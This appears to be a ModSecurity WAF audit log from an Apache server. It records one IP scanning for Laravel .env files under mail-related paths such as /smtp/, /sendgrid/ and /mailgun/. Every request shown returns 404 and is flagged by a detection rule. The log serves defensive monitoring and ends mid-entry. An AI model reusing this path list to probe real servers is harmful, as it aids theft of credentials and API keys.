Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--1eb90b6f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--1eb90b6f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mail/.env"] [unique_id "aqYMImM7dE9KgIIOpQhd0wAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266978978740 109205 (- - -)
Stopwatch2: 1789266978978740 109205; combined=4181, p1=232, p2=3881, p3=0, p4=0, p5=67, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1eb90b6f-Z--

--2478b63d-A--
[13/Sep/2026:05:36:20.952077 +0300] aqYMJCsVWymXUono-eRQuAAAAA0 34.175.231.24 53368 127.0.0.1 7081
--2478b63d-B--
GET /email/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--2478b63d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2478b63d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/email/.env"] [unique_id "aqYMJCsVWymXUono-eRQuAAAAA0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266980835497 116636 (- - -)
Stopwatch2: 1789266980835497 116636; combined=5012, p1=330, p2=4626, p3=0, p4=0, p5=56, sr=144, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2478b63d-Z--

--df558c19-A--
[13/Sep/2026:05:36:22.427151 +0300] aqYMJmM7dE9KgIIOpQhd1QAAANY 34.175.231.24 53396 127.0.0.1 7081
--df558c19-B--
GET /smtp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--df558c19-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--df558c19-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/smtp/.env"] [unique_id "aqYMJmM7dE9KgIIOpQhd1QAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266982300837 126374 (- - -)
Stopwatch2: 1789266982300837 126374; combined=4562, p1=232, p2=4266, p3=0, p4=0, p5=64, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--df558c19-Z--

--74290d48-A--
[13/Sep/2026:05:36:23.961190 +0300] aqYMJysVWymXUono-eRQugAAABI 34.175.231.24 53412 127.0.0.1 7081
--74290d48-B--
GET /mailing/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--74290d48-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--74290d48-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/mailing/.env"] [unique_id "aqYMJysVWymXUono-eRQugAAABI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266983837249 124017 (- - -)
Stopwatch2: 1789266983837249 124017; combined=4134, p1=247, p2=3834, p3=0, p4=0, p5=53, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--74290d48-Z--

--cf4b1f11-A--
[13/Sep/2026:05:36:26.015270 +0300] aqYMKWM7dE9KgIIOpQhd2AAAAMU 34.175.231.24 39426 127.0.0.1 7081
--cf4b1f11-B--
GET /notifications/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--cf4b1f11-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--cf4b1f11-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/notifications/.env"] [unique_id "aqYMKWM7dE9KgIIOpQhd2AAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266985903494 111832 (- - -)
Stopwatch2: 1789266985903494 111832; combined=4431, p1=326, p2=4040, p3=0, p4=0, p5=65, sr=190, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cf4b1f11-Z--

--adf0dd59-A--
[13/Sep/2026:05:36:27.626784 +0300] aqYMK2M7dE9KgIIOpQhd2QAAAMg 34.175.231.24 39432 127.0.0.1 7081
--adf0dd59-B--
GET /notify/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--adf0dd59-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--adf0dd59-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/notify/.env"] [unique_id "aqYMK2M7dE9KgIIOpQhd2QAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266987486488 140359 (- - -)
Stopwatch2: 1789266987486488 140359; combined=7287, p1=1346, p2=5888, p3=0, p4=0, p5=53, sr=174, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--adf0dd59-Z--

--e9d35a0f-A--
[13/Sep/2026:05:36:29.352216 +0300] aqYMLWM7dE9KgIIOpQhd2wAAAMk 34.175.231.24 39464 127.0.0.1 7081
--e9d35a0f-B--
GET /sender/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e9d35a0f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e9d35a0f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sender/.env"] [unique_id "aqYMLWM7dE9KgIIOpQhd2wAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266989221081 131195 (- - -)
Stopwatch2: 1789266989221081 131195; combined=4272, p1=235, p2=3977, p3=0, p4=0, p5=60, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e9d35a0f-Z--

--62b9cf68-A--
[13/Sep/2026:05:36:30.888739 +0300] aqYMLmM7dE9KgIIOpQhd3AAAANc 34.175.231.24 39468 127.0.0.1 7081
--62b9cf68-B--
GET /campaign/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--62b9cf68-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--62b9cf68-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/campaign/.env"] [unique_id "aqYMLmM7dE9KgIIOpQhd3AAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266990767157 121658 (- - -)
Stopwatch2: 1789266990767157 121658; combined=4690, p1=308, p2=4278, p3=0, p4=0, p5=103, sr=121, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--62b9cf68-Z--

--5921e468-A--
[13/Sep/2026:05:36:32.830067 +0300] aqYMMGM7dE9KgIIOpQhd3wAAANE 34.175.231.24 39484 127.0.0.1 7081
--5921e468-B--
GET /newsletter/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--5921e468-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5921e468-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/newsletter/.env"] [unique_id "aqYMMGM7dE9KgIIOpQhd3wAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266992706187 123934 (- - -)
Stopwatch2: 1789266992706187 123934; combined=4377, p1=216, p2=4061, p3=0, p4=0, p5=99, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5921e468-Z--

--0f209878-A--
[13/Sep/2026:05:36:34.722834 +0300] aqYMMmM7dE9KgIIOpQhd4AAAANY 34.175.231.24 39496 127.0.0.1 7081
--0f209878-B--
GET /ses/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0f209878-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0f209878-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/ses/.env"] [unique_id "aqYMMmM7dE9KgIIOpQhd4AAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266994597787 125111 (- - -)
Stopwatch2: 1789266994597787 125111; combined=4255, p1=274, p2=3924, p3=0, p4=0, p5=56, sr=103, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0f209878-Z--

--e2420105-A--
[13/Sep/2026:05:36:36.289672 +0300] aqYMNGM7dE9KgIIOpQhd4gAAAMY 34.175.231.24 47418 127.0.0.1 7081
--e2420105-B--
GET /sendgrid/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e2420105-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e2420105-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sendgrid/.env"] [unique_id "aqYMNGM7dE9KgIIOpQhd4gAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266996162865 126864 (- - -)
Stopwatch2: 1789266996162865 126864; combined=4342, p1=209, p2=4066, p3=0, p4=0, p5=66, sr=77, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e2420105-Z--

--c93cd556-A--
[13/Sep/2026:05:36:38.205660 +0300] aqYMNmM7dE9KgIIOpQhd4wAAAME 34.175.231.24 47422 127.0.0.1 7081
--c93cd556-B--
GET /sparkpost/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--c93cd556-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c93cd556-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sparkpost/.env"] [unique_id "aqYMNmM7dE9KgIIOpQhd4wAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266998074986 130746 (- - -)
Stopwatch2: 1789266998074986 130746; combined=10743, p1=2419, p2=8242, p3=0, p4=0, p5=81, sr=237, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c93cd556-Z--

--8311647f-A--
[13/Sep/2026:05:36:39.872054 +0300] aqYMN2M7dE9KgIIOpQhd5QAAAMU 34.175.231.24 47440 127.0.0.1 7081
--8311647f-B--
GET /postmark/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--8311647f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8311647f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/postmark/.env"] [unique_id "aqYMN2M7dE9KgIIOpQhd5QAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266999752774 119352 (- - -)
Stopwatch2: 1789266999752774 119352; combined=4642, p1=238, p2=4342, p3=0, p4=0, p5=62, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8311647f-Z--

--df572569-A--
[13/Sep/2026:05:36:41.744351 +0300] aqYMOWM7dE9KgIIOpQhd5gAAAMg 34.175.231.24 47448 127.0.0.1 7081
--df572569-B--
GET /mailgun/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--df572569-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--df572569-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
